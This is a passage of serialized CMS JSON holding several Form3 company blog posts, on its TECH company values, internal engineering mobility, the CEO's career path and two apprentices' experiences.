possible.",[],{"type":25,"text":45969,"spans":45970},"We look forward to sharing more with you as we continue our journey!",[],"rich_text$537a6683-8bee-4d22-9572-d9f30117ab35",{"id":45973,"uid":45974,"type":42493,"data":45975},"alz1cBEAAC0AUWmv","how-we-came-up-with-our-company-values",{"title":45976,"excerpt":45977,"card_image":45978,"published_date":13624,"reading_time":418,"tag":42499,"dek":45984,"featured_image":45985,"about_form3":45990,"client_about_heading":5,"client_about_body":45991,"author_name":45992,"author_title":45993,"author_photo":45994,"author_bio":45999,"author_linkedin":46000,"slices":46003,"meta_title":45976,"meta_description":45977},"How we came up with our company values","Since Form3’s inception in 2016, company values have played an important role in our operations. Last year, a dedicated team was put together and given the responsibility to review the current values, and develop and implement a fresh set of them.",{"dimensions":45979,"alt":45980,"copyright":5,"url":45981,"id":45982,"edit":45983},{"width":412,"height":412},"company values at Form3","\u002F_prismic-media\u002F7261a7642836deae-143eOWrnTjLFpmHT_how-we-came-up-with-our-company.png","143eOWrnTjLFpmHT",{"x":398,"y":398,"zoom":399,"background":400},"Since Form3’s inception in 2016, company values have played an important role in our operations.Last year, a dedicated team was put together and given the responsibility to review the current values, and develop and implement a fresh set of them.",{"dimensions":45986,"alt":5,"copyright":5,"url":45987,"id":45988,"edit":45989},{"width":2801,"height":2802},"\u002F_prismic-media\u002F91259e8945ac9bdc-GB8hS15r02mc6CDv_64daad08-2077-4cef-9cbb-41c26f9.png","GB8hS15r02mc6CDv",{"x":398,"y":398,"zoom":399,"background":400},[],[],"James Lawson-Miln","Internal Communications Lead",{"dimensions":45995,"alt":45992,"copyright":5,"url":45996,"id":45997,"edit":45998},{"width":5080,"height":5081},"\u002F_prismic-media\u002F2f4a54b6f1fdaed3-A7uRxVoCah7ye3kS_22bff0bc-4ec9-4e77-9db2-3855aa4.png","A7uRxVoCah7ye3kS",{"x":398,"y":398,"zoom":399,"background":400},[],{"link_type":491,"key":46001,"url":46002,"target":493},"a6bbc591-de6f-4c18-b6af-c358ebc92ba9","https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fjames-lawson-miln\u002F",[46004,46021,46063,46089,46100,46124,46141,46155,46172],{"variation":437,"version":438,"items":46005,"primary":46006,"id":46020,"slice_type":468,"slice_label":5},[],{"body":46007},[46008,46011,46014,46017],{"type":988,"text":46009,"spans":46010,"direction":445},"Why are company values important at Form3",[],{"type":25,"text":46012,"spans":46013,"direction":445},"In a nutshell, values show everyone what is held as important behaviours within a company, and what is expected from employees as individuals when they are part of it.",[],{"type":25,"text":46015,"spans":46016,"direction":445},"We believe that values play a key part in Form3’s success, as they lay the foundations of what is meaningful for us as a company and are the guiding principles for how our colleagues should turn up to work every day.",[],{"type":25,"text":46018,"spans":46019,"direction":445},"But is that all there is to company values? And how did we know whether we had the right ones at Form3 – values that resonate with our team and are truly something that they believe in?",[],"rich_text$b58729ae-0da6-4a4d-865b-721bb7e00917",{"variation":437,"version":438,"items":46022,"primary":46023,"id":46062,"slice_type":468,"slice_label":5},[],{"body":46024},[46025,46028,46031,46034,46037,46040,46044,46048,46052,46056,46059],{"type":988,"text":46026,"spans":46027,"direction":445},"How did we define our company values?",[],{"type":25,"text":46029,"spans":46030,"direction":445},"Our company values have been in place for almost as long as our near seven-year history. But over this time, we have tweaked, reviewed, and refined them to ensure that they were still relevant for Form3 and our colleagues across the globe. The biggest review and revamp of our values took place last year, in 2022.",[],{"type":25,"text":46032,"spans":46033,"direction":445},"So, why did we review the eight company values we then had at Form3? Well, first of all, we felt that eight was perhaps a stretch too many. In fact, if you asked colleagues what our values were, you’d find that 90-95% of the time, they would struggle to remember more than half, probably getting to six at most. This was taken from an initial survey launched out to the wider Form3 team. Maybe not bad, but we (as I’m sure is the case with all companies) wanted all our values to be memorable and thus, be easily remembered.",[],{"type":25,"text":46035,"spans":46036,"direction":445},"To begin with, we created a “Values Team” that oversaw the review of the current values and was charged with implementing changes. This was a small team of 6 individuals from across different parts of the business at Form3, who contributed with their unique point of view to the process, what this should look like and how this was going to rolled-out.",[],{"type":25,"text":46038,"spans":46039,"direction":445},"As the ‘Values Team’, we wanted our values to cover a few short requirements:",[],{"type":1151,"text":46041,"spans":46042,"direction":445},"Not too many: we wanted a short and snappy list.",[46043],{"start":398,"end":1951,"type":593},{"type":1151,"text":46045,"spans":46046,"direction":445},"They should be tangible: we didn’t want abstract, fluffy, buzz-word centric values.",[46047],{"start":398,"end":9799,"type":593},{"type":1151,"text":46049,"spans":46050,"direction":445},"They should resonate: if they don’t mean anything, or our colleagues don’t relate to them, what’s the point?",[46051],{"start":398,"end":703,"type":593},{"type":1151,"text":46053,"spans":46054,"direction":445},"Easy to remember: by hitting the above points, we should arrive at something, that importantly is easy for colleagues to remember. If they can’t, we did it wrong.",[46055],{"start":398,"end":6911,"type":593},{"type":25,"text":46057,"spans":46058,"direction":445},"The “Values Team” was then tasked to ask other Form3 colleagues what they thought of the existing values, looking at two core rating metrics. Firstly, understanding how important each of the values was to them as an individual, and secondly how they felt that the values were ‘lived’ at Form3. This was done via an online and anonymous internal questionnaire.",[],{"type":25,"text":46060,"spans":46061,"direction":445},"This method gave us a way to clearly score what our values for the company should be, according to both colleague sentiment and feedback. So, with these results, we noticed we had six clear values that meant something to our team. ",[],"rich_text$6f1cd3f2-1e0e-4571-884f-25421e3404f4",{"variation":437,"version":438,"items":46064,"primary":46065,"id":46088,"slice_type":468,"slice_label":5},[],{"body":46066},[46067,46070,46073,46076,46079,46082,46085],{"type":988,"text":46068,"spans":46069,"direction":445},"These were:",[],{"type":3373,"text":46071,"spans":46072,"direction":445},"Transparent and open",[],{"type":3373,"text":46074,"spans":46075,"direction":445},"We are one team",[],{"type":3373,"text":46077,"spans":46078,"direction":445},"Care deeply",[],{"type":3373,"text":46080,"spans":46081,"direction":445},"Wow our customers",[],{"type":3373,"text":46083,"spans":46084,"direction":445},"Technological excellence",[],{"type":3373,"text":46086,"spans":46087,"direction":445},"Quality first",[],"rich_text$a7f30a2c-5463-461d-9c62-e03b84bbe815",{"variation":437,"version":438,"items":46090,"primary":46091,"id":46099,"slice_type":468,"slice_label":5},[],{"body":46092},[46093,46096],{"type":25,"text":46094,"spans":46095},"But six was still too many, especially when, as I mentioned earlier, team members at Form3 could only remember four or five of our current eight values – and looking at the list, there was some clear consolidation that we could still do.",[],{"type":25,"text":46097,"spans":46098},"Within the “Values Team”, we finally came up with the acronym TECH (which we liked as a tech company) to help people remember the values which had more weight in the eyes of our team: Transparency, Everyone Matters, Care Deeply and Hight Standards.",[],"rich_text$f20b753d-ae67-427a-b46c-524da7942c0c",{"variation":437,"version":438,"items":46101,"primary":46102,"id":46123,"slice_type":468,"slice_label":5},[],{"body":46103},[46104,46107,46111,46115,46119],{"type":988,"text":46105,"spans":46106,"direction":445},"TECH",[],{"type":3373,"text":46108,"spans":46109,"direction":445},"Transparency: we are authentic, open, and honest. We share information collaboratively.",[46110],{"start":398,"end":1951,"type":593},{"type":3373,"text":46112,"spans":46113,"direction":445},"Everyone Matters: We are one team all working together to make great things happen.",[46114],{"start":398,"end":6911,"type":593},{"type":3373,"text":46116,"spans":46117,"direction":445},"Care Deeply: We care deeply about the work that we do, the customers we serve, the people we work with, and we treat each other fairly.",[46118],{"start":398,"end":2707,"type":593},{"type":3373,"text":46120,"spans":46121,"direction":445},"High Standards: We work to high standards. We're on a journey of continuous improvement. We try and if we fail, we try again.",[46122],{"start":398,"end":8472,"type":593},"rich_text$c4c6d13e-418f-4cd3-a344-ea31403e3325",{"variation":437,"version":438,"items":46125,"primary":46126,"id":46140,"slice_type":468,"slice_label":5},[],{"body":46127},[46128,46131,46134,46137],{"type":988,"text":46129,"spans":46130,"direction":445},"How did we know they were right?",[],{"type":25,"text":46132,"spans":46133,"direction":445},"We came up with our new values based on feedback from our colleagues. But how did we know that they were right, that they resonated with our team members in the company, and importantly that they could remember them?",[],{"type":25,"text":46135,"spans":46136,"direction":445},"Once we had our values, the “Values Team” presented these back to several groups of colleagues to get their feedback. Thankfully, the feedback was overwhelmingly positive, so we pushed forward with our plans to launch these to the wider company.",[],{"type":25,"text":46138,"spans":46139,"direction":445},"With this, our company values were created, designed, and ratified by our colleagues, not the executive management team. We also felt that this was an important point to consider as part of this process as the values should be for everyone and not something created by a few people or the leadership, for the company to follow.",[],"rich_text$52096078-14f0-4628-ab83-f7367e7ec6e3",{"variation":437,"version":438,"items":46142,"primary":46143,"id":46154,"slice_type":468,"slice_label":5},[],{"body":46144},[46145,46148,46151],{"type":988,"text":46146,"spans":46147,"direction":445},"Launching our values",[],{"type":25,"text":46149,"spans":46150,"direction":445},"Once the “Values Team” were happy with the action plan on how the values were going to be communicated to the wider business and the next steps were agreed, new company values were announced in September 2022 to our Form3 colleagues in our weekly all-company meeting with our CEO, Michael Mueller, giving his seal of approval.",[],{"type":25,"text":46152,"spans":46153,"direction":445},"While I mentioned before that we felt it important that the values were not thought-up by a leadership group, of course, getting the CEO’s sponsorship and backing is an important step to show the importance that they play, and giving them the credibility they deserve. The company-wide announcement was supported by some further written communications, along with a new values section on the company intranet and a testimonial video from colleagues where they talked about what the values meant to them",[],"rich_text$ab9e32ba-fe5e-44d2-a3bc-65fefed031e7",{"variation":437,"version":527,"items":46156,"primary":46157,"id":46171,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":46158,"body":46159,"cta_label":5,"cta_link":46160,"aside_type":533,"aside_image":46161,"aside_video":46166,"aside_video_poster":46167,"aside_video_reduced_motion":46168,"aside_video_url":5,"aside_embed":46169,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":46170,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[],{"link_type":434},{"dimensions":46162,"alt":5,"copyright":5,"url":46163,"id":46164,"edit":46165},{"width":501,"height":23861},"\u002F_prismic-media\u002F0b6a67dbbd95b7ed-MpdIdIfHkItJ2Xr7_226af920-8cbf-423f-8ce6-9cf59ae.png","MpdIdIfHkItJ2Xr7",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$1983fc44-2d84-4171-b723-dc71ea9324db",{"variation":437,"version":438,"items":46173,"primary":46174,"id":46204,"slice_type":468,"slice_label":5},[],{"body":46175},[46176,46178,46181,46184,46189,46192,46195,46198,46201],{"type":988,"text":43911,"spans":46177,"direction":445},[],{"type":25,"text":46179,"spans":46180,"direction":445},"Since launching our new TECH values, we have worked hard to ensure our team are not only aware and remember them, but also that they apply them in everything they do at Form3.",[],{"type":25,"text":46182,"spans":46183,"direction":445},"We currently have an intranet page dedicated to our values where we explain the process of how we came up with them, available for our team to access at any time.",[],{"type":25,"text":46185,"spans":46186,"direction":445},"We also have included them in our Form3 Culture page, which you can access here.",[46187],{"start":2651,"end":3084,"type":489,"data":46188},{"link_type":491,"url":45892,"target":493},{"type":25,"text":46190,"spans":46191,"direction":445},"We have revamped our office and included some visuals on our values to display them clearly for our teams and visitors (check out our photo!). Once a month, we work with a small number of colleagues (around 50) to test their knowledge and check the sentiment around these being the right values for Form3, via an online anonymous questionnaire.",[],{"type":25,"text":46193,"spans":46194,"direction":445},"When colleagues join Form3, our values have a prominent part in their onboarding experience and induction programme, through dedicated resources. We also encourage our teams to recognise their peers for the great work they do when they demonstrate they are aligned to one or more of our values.",[],{"type":25,"text":46196,"spans":46197,"direction":445},"One of the highlights of this year 2023 is that, as part of our Annual Performance Review process, for the option of providing 360-feedback for our team, colleagues could rate how their peers demonstrated Form3 values in their day-to-day.",[],{"type":25,"text":46199,"spans":46200,"direction":445},"While there is still more we can do in this space when it comes to promoting our values at Form3, several months on from re-launch, the approval numbers for our values are still high.",[],{"type":25,"text":46202,"spans":46203,"direction":445},"We’re proud of the culture that we have created at Form3, and there’s no doubt that our values play an important role in this, but only because they are true to our team, and resonate with them.",[],"rich_text$99681ad2-1413-4a26-83d9-7a4e0365bae6",{"id":46206,"uid":46207,"type":42493,"data":46208},"alz1ZhEAACsAUWl8","internal-mobility",{"title":46209,"excerpt":46210,"card_image":46211,"published_date":15199,"reading_time":2375,"tag":43049,"dek":46216,"featured_image":46217,"about_form3":46222,"client_about_heading":5,"client_about_body":46223,"author_name":46224,"author_title":43483,"author_photo":46225,"author_bio":46230,"author_linkedin":46231,"slices":46232,"meta_title":46209,"meta_description":46291},"Unlocking potential through internal mobility","Form3’s Chief Technology Officer, Steve Cook, has always advocated the importance of internal mobility within Engineering teams, believing it brings several meaningful benefits to both the individual and company.",{"dimensions":46212,"alt":46209,"copyright":5,"url":46213,"id":46214,"edit":46215},{"width":412,"height":412},"\u002F_prismic-media\u002F41bf0ab741008363-sUNS3zHBJebBadKW_internal-mobility.png","sUNS3zHBJebBadKW",{"x":398,"y":398,"zoom":399,"background":400},"Form3’s Chief Technology Officer, Steve Cook, has always advocated the importance of internal mobility within Engineering teams, believing it brings several meaningful benefits to both the individual and company. For the individual, it provides a learning opportunity and a change of environment which can lead to greater employee happiness and improved retention. For the company, it can increase efficiency and productivity, whilst enabling knowledge transfer and cross-functional development of peers.We strive to develop our internal talent and promote internally into ‘Lead’, ‘Head of’ and other senior vacancies rather than hiring externally into these roles as we wish to retain and nurture the talent we have. Promoting a culture of internal mobility between teams was straightforward when I first joined Form3 in 2019. At that time, we had a headcount of c.20 Senior Engineers whereas we’ve scaled significantly since then, now with over 250 people within our Engineering function. As you can imagine, this has made the process more complex.In this blog I will outline the steps we are taking to establish a fair and efficient process to allow continued movement between teams, whilst supporting Form3’s talent requirements.",{"dimensions":46218,"alt":5,"copyright":5,"url":46219,"id":46220,"edit":46221},{"width":14253,"height":14254},"\u002F_prismic-media\u002Fa945df7b2641dbc4-KNTmVNdcQH-FjhiJ_6a383e18-cc7d-4f04-8df0-6103c63.png","KNTmVNdcQH-FjhiJ",{"x":398,"y":398,"zoom":399,"background":400},[],[],"Elliot Smith",{"dimensions":46226,"alt":46224,"copyright":5,"url":46227,"id":46228,"edit":46229},{"width":5080,"height":5081},"\u002F_prismic-media\u002Fdb3c8cfb35c7ddae-SG85yoEUklSf3748_297b0cff-0e3d-4ddd-b426-2a8f948.png","SG85yoEUklSf3748",{"x":398,"y":398,"zoom":399,"background":400},[],{"link_type":434},[46233,46247,46264,46281],{"variation":437,"version":438,"items":46234,"primary":46235,"id":46246,"slice_type":468,"slice_label":5},[],{"body":46236},[46237,46240,46243],{"type":746,"text":46238,"spans":46239},"Challenges",[],{"type":25,"text":46241,"spans":46242},"As Form3 has grown, it has become increasingly difficult to make everyone aware of new opportunities across our 50+ Engineering teams. Initially, our Heads of Engineering relied heavily on word of mouth to share information about upcoming opportunities, but we knew longer term that a more scalable solution would need to be put in place.",[],{"type":25,"text":46244,"spans":46245},"To partially address this, we have introduced a simple process that allows all vacancies to be advertised on an internal job board. Hiring Managers are then asked to promote these opportunities on Engineering-wide Slack channels so that people from other teams have visibility of them. Whilst this has improved awareness, it has now brought about a new challenge.",[],"rich_text$faec5352-77fe-4fa8-939b-241c057ecf2c",{"variation":437,"version":438,"items":46248,"primary":46249,"id":46263,"slice_type":468,"slice_label":5},[],{"body":46250},[46251,46254,46257,46260],{"type":746,"text":46252,"spans":46253},"Visibility",[],{"type":25,"text":46255,"spans":46256},"We feel strongly that every internal engineering vacancy should be accessible to every Engineer (experience permitting), but how to make this work whilst adhering to the headcount budgets across the respective business lines isn’t straight forward! We’re not certain that there is a perfect solution to this, but the best we have so far been able to come up with is the creation of a new internal teams site that provides detail about every Engineering team at Form3. Once this site is live, it will enable our Engineers to register interest in projects before a position becomes available, meaning Hiring Managers will have a pipeline of interested candidates to reach out to if and when an opening materialises.",[],{"type":25,"text":46258,"spans":46259},"Additionally, if an internal opening is filled with a candidate from another business line that in turn takes headcount over budget, we can then use the internal teams site to highlight ways in which headcount can be balanced by facilitating moves for people into teams of interest to them (providing that team has capacity). To add a more human feel to this process, the Talent Team will speak in person with Engineers to explain the process of changing teams whilst encouraging engagement with the internal teams site.",[],{"type":25,"text":46261,"spans":46262},"On top of establishing a process to better promote internal opportunities, we also needed to create career progression frameworks and interview processes that allow candidates to demonstrate they are ready to step up into a new role. We’re working to ensure that these are as closely aligned as possible so that it is clear to anyone looking to apply for a promotion where they should focus their learning, and how best they can prepare for the interview process.",[],"rich_text$59fa0d17-d221-4098-a866-c1a7b2f7bd89",{"variation":437,"version":438,"items":46265,"primary":46266,"id":46280,"slice_type":468,"slice_label":5},[],{"body":46267},[46268,46271,46274,46277],{"type":746,"text":46269,"spans":46270},"Interviewing",[],{"type":25,"text":46272,"spans":46273},"We see real value in using the same interview process across all roles of the same level. This ensures fairness and consistency across candidates, making it easier for interviewers to compare interview performance, and easier for candidates to prepare for interviews. An issue with this approach is that it can mean candidates who have previously interviewed but weren’t selected for the role at that time have a significant advantage moving forward over candidates without that direct interview experience.",[],{"type":25,"text":46275,"spans":46276},"To mitigate this, we rely on transparency of process. The more information we provide candidates in the form of a comprehensive career framework, professional development recommendations and detailed interview prep, the more we minimise the advantage a candidate would have by previously completing the interview process. We want candidates to do well, so everything we can do to prepare them for the interview in advance makes sense to us.",[],{"type":25,"text":46278,"spans":46279},"Interviewing, and receiving feedback from senior colleagues outside of your immediate team is a great way to accelerate growth. With this in mind, we work to provide candidates with rich, kind, and constructive feedback that will aid their development moving forward, regardless of whether they were chosen for the position or not. Our People Team have produced guides and online courses to help interviewers when constructing and delivering feedback, whilst also offering tips to candidates around how best to receive and action the feedback given.",[],"rich_text$59ca083c-770a-40a5-92c0-98bcce1ff0c7",{"variation":437,"version":438,"items":46282,"primary":46283,"id":46290,"slice_type":468,"slice_label":5},[],{"body":46284},[46285,46287],{"type":746,"text":29076,"spans":46286},[],{"type":25,"text":46288,"spans":46289},"We’re far from finished and there are many improvements still to be made. We hope that by actively promoting internal mobility whilst working to create clear, effective interview and feedback processes we can add value to the experience of each of our Engineers whilst at Form3, keeping our amazing teams happy for as long as possible. Next up... to try and replicate these processes across the wider business!",[],"rich_text$66fda230-a5f5-4318-a13d-874cce224c0b","Form3’s Chief Technology Officer, Steve Cook, has always advocated the importance of internal mobility within Engineering teams, believing it brings several meaningful benefits to both the individual and company. For the individual, it provides a learning opportunity and a change of environment which can lead to greater employee happiness and improved retention. For the company, it can increase efficiency and productivity, whilst enabling knowledge transfer and cross-functional development of peers.",{"id":46293,"uid":46294,"type":42493,"data":46295},"alz1YBEAACsAUWla","michael-mueller-story",{"title":46296,"excerpt":46297,"card_image":46298,"published_date":46303,"reading_time":2375,"tag":43049,"dek":5,"featured_image":46304,"about_form3":46309,"client_about_heading":5,"client_about_body":46310,"author_name":921,"author_title":922,"author_photo":46311,"author_bio":46314,"author_linkedin":46325,"slices":46327,"meta_title":46296,"meta_description":46297},"Michael Mueller’s story: From apprentice to CEO","It’s Form3's 7th birthday this August 2023! And coinciding with Michael Mueller being named winner of the RemoteTech Breakthrough Awards 2023 for the category CEO of the Year we wanted to take a moment of appreciation to share his very own personal story, of how it’s started and how it’s going.",{"dimensions":46299,"alt":46296,"copyright":5,"url":46300,"id":46301,"edit":46302},{"width":412,"height":412},"\u002F_prismic-media\u002F99881ed4094e929c-1iDwzaqEVwoRHwfn_michael-mueller-story.png","1iDwzaqEVwoRHwfn",{"x":398,"y":398,"zoom":399,"background":400},"2023-08-09",{"dimensions":46305,"alt":5,"copyright":5,"url":46306,"id":46307,"edit":46308},{"width":2801,"height":2802},"\u002F_prismic-media\u002Fc1bf37b1326c5d63-y51fJeGxGDO-x8Z-_9eecbdbd-bc4f-4d36-9916-6329fa3.png","y51fJeGxGDO-x8Z-",{"x":398,"y":398,"zoom":399,"background":400},[],[],{"dimensions":46312,"alt":921,"copyright":5,"url":43351,"id":43352,"edit":46313},{"width":5080,"height":5081},{"x":398,"y":398,"zoom":399,"background":400},[46315,46317,46319,46321,46323],{"type":25,"text":43356,"spans":46316},[],{"type":25,"text":43359,"spans":46318},[],{"type":25,"text":43362,"spans":46320},[],{"type":25,"text":43365,"spans":46322},[],{"type":25,"text":43368,"spans":46324},[],{"link_type":491,"key":46326,"url":43372,"target":493},"d784af77-8770-4a4d-bdd3-538409ed9a84",[46328,46336],{"variation":437,"version":438,"items":46329,"primary":46330,"id":46335,"slice_type":583,"slice_label":5},[],{"quote":46331,"attribution_name":921,"attribution_role":922},[46332],{"type":25,"text":46333,"spans":46334},"I’m Michael Mueller and I’m Form3’s CEO. And this is my career path story.",[],"pull_quote$4ebb284a-acc4-4021-9e51-a16f3e2d409b",{"variation":437,"version":438,"items":46337,"primary":46338,"id":46361,"slice_type":468,"slice_label":5},[],{"body":46339},[46340,46343,46346,46349,46352,46355,46358],{"type":25,"text":46341,"spans":46342},"As a child, my dream was to become an architect. However, I ended up in banking. I had the privilege of starting my professional career journey in the West of Germany, where I was given the opportunity to do an apprenticeship with Deutsche Bank. This early work experience proved to be invaluable, as it provided me with solid foundation and a deep understanding of the financial industry.",[],{"type":25,"text":46344,"spans":46345},"Through my apprenticeship, I gained practical knowledge of various areas of the banking industry, including the mechanics of financial transactions, customer interactions, and the inner workings of Deutsche Bank. The apprenticeship offered me a unique blend of theoretical and hands-on learning, allowing me to apply the knowledge gained in a real-world context. We’ve recently set up an apprenticeship programme at Form3 which has enabled us to bring on board some amazing young talent who can experience all of the apprenticeship benefits that I did.",[],{"type":25,"text":46347,"spans":46348},"After having worked nearly two decades at Deutsche Bank, I made the decision to pursue further education. I obtained an MBA and a Diploma of Clinical and Organisational Psychology from Insead, which opened new doors for me. I then had the opportunity to work for other renowned banks such as the Royal Bank of Scotland and Barclays. During my time at Barclays, I served as the Global Head of Cash Management and was a member of the Corporate Banking Executive.",[],{"type":25,"text":46350,"spans":46351},"I have always been deeply passionate about driving digital change and innovation in the finance industry, which has led me to actively sponsor key initiatives in areas such as white-labelling, biometric security, cloud-computing, and mobile payment\u002Fbanking technology. I firmly believe in leveraging technology to make banking more accessible and user-friendly for customers.",[],{"type":25,"text":46353,"spans":46354},"In 2016, I co-founded Form3, a company dedicated to providing a comprehensive end-to-end Payments as a Service solution for financial institutions and regulated FinTech’s. The driving force behind Form3 is our goal to reimagine and re-engineer payment back-office systems in response to evolving industry developments, customer demands, cyber threats and much more.",[],{"type":25,"text":46356,"spans":46357},"My ambition is to revolutionise the way payment technology is delivered to banks and I am committed to shaping the future of the payment ecosystem. In the past 6 years, Form3 has made significant strides in the finance industry. We have successfully developed and implemented an end-to-end Payments as a Service solution, gained industry recognition and fostered partnerships with leading institutions.",[],{"type":25,"text":46359,"spans":46360},"Being a part of the Form3 journey fills me with great pride and I am very excited to see what the future holds!",[],"rich_text$09597e71-aec1-4083-ac4c-f031cffb6760",{"id":46363,"uid":46364,"type":42493,"data":46365},"alz1UhEAACkAUWkV","my-journey-as-a-ba-apprentice",{"title":46366,"excerpt":46367,"card_image":46368,"published_date":46374,"reading_time":1130,"tag":43049,"dek":46367,"featured_image":46375,"about_form3":46376,"client_about_heading":5,"client_about_body":46377,"author_name":46378,"author_title":46379,"author_photo":46380,"author_bio":46385,"author_linkedin":46386,"slices":46387,"meta_title":46366,"meta_description":46367},"My journey as a BA Apprentice","My decision to become a Business Analyst Apprentice at Form3 has been exhilarating, challenging, and undoubtedly one of the best choices I've ever made.",{"dimensions":46369,"alt":46370,"copyright":5,"url":46371,"id":46372,"edit":46373},{"width":412,"height":412},"Journey","\u002F_prismic-media\u002F8f3b07e0ce7e13f8-aX-_4Z8zWs0_rtIq_my-journey-as-a-ba-apprentice.p","aX-_4Z8zWs0_rtIq",{"x":398,"y":398,"zoom":399,"background":400},"2023-11-24",{},[],[],"Luke Rigney","BA Apprentice",{"dimensions":46381,"alt":46378,"copyright":5,"url":46382,"id":46383,"edit":46384},{"width":5080,"height":5081},"\u002F_prismic-media\u002F33a10e3566f0c292-8rXJs5KWjgBhxL2W_4d5945fa-945b-4c64-8dbd-d5e8c5b.png","8rXJs5KWjgBhxL2W",{"x":398,"y":398,"zoom":399,"background":400},[],{"link_type":434},[46388,46408],{"variation":437,"version":527,"items":46389,"primary":46390,"id":46407,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":46391,"body":46392,"cta_label":5,"cta_link":46396,"aside_type":533,"aside_image":46397,"aside_video":46402,"aside_video_poster":46403,"aside_video_reduced_motion":46404,"aside_video_url":5,"aside_embed":46405,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":46406,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[46393],{"type":25,"text":46394,"spans":46395},"Luke Rigney, BA Apprentice, Form3",[],{"link_type":434},{"dimensions":46398,"alt":46394,"copyright":5,"url":46399,"id":46400,"edit":46401},{"width":2532,"height":2533},"\u002F_prismic-media\u002F528ef84cc1c4db50-fnnTRJix0ssaFPCh_6c738d6e-77d6-44f5-8d30-cf01f18.png","fnnTRJix0ssaFPCh",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$b417b595-dba8-4281-b021-3860f0d8940f",{"variation":437,"version":438,"items":46409,"primary":46410,"id":46439,"slice_type":468,"slice_label":5},[],{"body":46411},[46412,46415,46418,46421,46424,46427,46430,46433,46436],{"type":25,"text":46413,"spans":46414},"To recount my journey, let's go back to February 2022 when I embarked on a quest to transition into the dynamic world of Business Analysis full time. I started applying for junior roles; however, I wasn’t quite sure if this is the approach I wanted to take without some form of specific structure for development.",[],{"type":25,"text":46416,"spans":46417},"Luckily, I stumbled upon Form3 a few weeks later, whom were advertising for a Business Analyst Apprenticeship - it was perfectly timed and suited to my situation. Soon enough, a week or two went by and I was on my first day. I found myself on Zoom successfully as a BA Apprentice, talking with my new manager, who turned out to be not only a great leader but also an exceptional mentor.",[],{"type":25,"text":46419,"spans":46420},"During my initial weeks, I was impressed by the level of technical expertise I was about to acquire. Breaking the stigma around higher level apprenticeships, I soon realized that my perception of what an apprenticeship entailed had completely shifted. At Form3, I've had the privilege of expanding my knowledge in Business Analysis techniques and practices, taking on the same responsibilities as other experienced Business Analysts. Additionally, I've been fortunate to collaborate with highly skilled professionals who have been instrumental in helping me further enhance my techniques beyond formal training.",[],{"type":25,"text":46422,"spans":46423},"My typical week consists of spending four days as a Business Analyst and dedicating one day off the job. On these off days, I undergo two hours of direct training on business analysis, followed by practical implementation and research to solidify my newly acquired skills. This structure is perfect for my learning style, as I’ve always classed myself preferring to being a practical learner.",[],{"type":25,"text":46425,"spans":46426},"Within my first month, my understanding of my roles and responsibilities as a Business Analyst grew immensely. I soon realised explaining my new job to friends can be a challenge due to the vague title and complex business domain. I usually simplify it by saying that I help facilitate change in the business through communication, stakeholder management, and process improvement.",[],{"type":25,"text":46428,"spans":46429},"Additionally, I find myself massively shortening the complex landscape of the payments industry and Form3's position within it to “we help facilitate your bank transfers” and that usually does the trick – anyone with some payments domain knowledge will know how much of a shortened down version that truly is!",[],{"type":25,"text":46431,"spans":46432},"My time at Form3 has been invaluable in expanding my knowledge across a wide range of technical business analysis practices. Looking ahead, I am eager to continue my journey as a Business Analyst, particularly within the product domain. Form3 has ignited a profound passion for this tech-oriented career path, and I will always be grateful for the opportunities and progression they've provided me.",[],{"type":25,"text":46434,"spans":46435},"In conclusion, my apprenticeship at Form3 has been a journey of continuous growth and learning, propelling my knowledge of technical business analysis forward every day, without feeling overwhelmed.",[],{"type":25,"text":46437,"spans":46438},"If you are contemplating a specific role, I encourage you not to overlook the possibilities of an apprenticeship, as it can be a transformative experience. I am excited for what the future holds and forever indebted to Form3 for empowering me to achieve my goals.",[],"rich_text$2426345c-ffff-4a63-90b3-270b30427e3a",{"id":46441,"uid":46442,"type":42493,"data":46443},"alz1aREAAC0AUWmO","legal-team-apprentice",{"title":46444,"excerpt":46445,"card_image":46446,"published_date":46451,"reading_time":418,"tag":43049,"dek":5,"featured_image":46452,"about_form3":46457,"client_about_heading":5,"client_about_body":46458,"author_name":46459,"author_title":46460,"author_photo":46461,"author_bio":46466,"author_linkedin":46467,"slices":46470,"meta_title":46444,"meta_description":46445},"My journey as a Legal Team Apprentice","My name is Masoomah, and I am currently working at Form3 as a Legal Team Apprentice. Four days of the working week consist of working in-house in the Legal Team, and the remaining day is spent studying towards my legal qualifications.",{"dimensions":46447,"alt":46444,"copyright":5,"url":46448,"id":46449,"edit":46450},{"width":412,"height":412},"\u002F_prismic-media\u002F0b1fba7886d11af2-gsJRoA5TZedn85LT_legal-team-apprentice.png","gsJRoA5TZedn85LT",{"x":398,"y":398,"zoom":399,"background":400},"2023-06-05",{"dimensions":46453,"alt":5,"copyright":5,"url":46454,"id":46455,"edit":46456},{"width":423,"height":424},"\u002F_prismic-media\u002Fa4dead32a5554d32-i8Nm2_85nzpS-rMA_9c003af9-e806-4999-a989-501434d.png","i8Nm2_85nzpS-rMA",{"x":398,"y":398,"zoom":399,"background":400},[],[],"Masoomah Asmat","Legal Team Apprentice",{"dimensions":46462,"alt":46459,"copyright":5,"url":46463,"id":46464,"edit":46465},{"width":5080,"height":5081},"\u002F_prismic-media\u002F6fbadfca1dd899a3-E1DKYHpw0_wzAqhK_02a774a1-0345-4190-9d58-e7a8319.jpg","E1DKYHpw0_wzAqhK",{"x":398,"y":398,"zoom":399,"background":650},[],{"link_type":491,"key":46468,"url":46469,"target":493},"87ce3859-1208-4f92-a482-fdbba67e11a7","https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fmasoomah-iram-asmat-4813aa220\u002F",[46471,46487,46513,46530,46556,46564],{"variation":437,"version":438,"items":46472,"primary":46473,"id":46486,"slice_type":468,"slice_label":5},[],{"body":46474},[46475,46478,46480,46483],{"type":988,"text":46476,"spans":46477,"direction":445},"My apprenticeship and 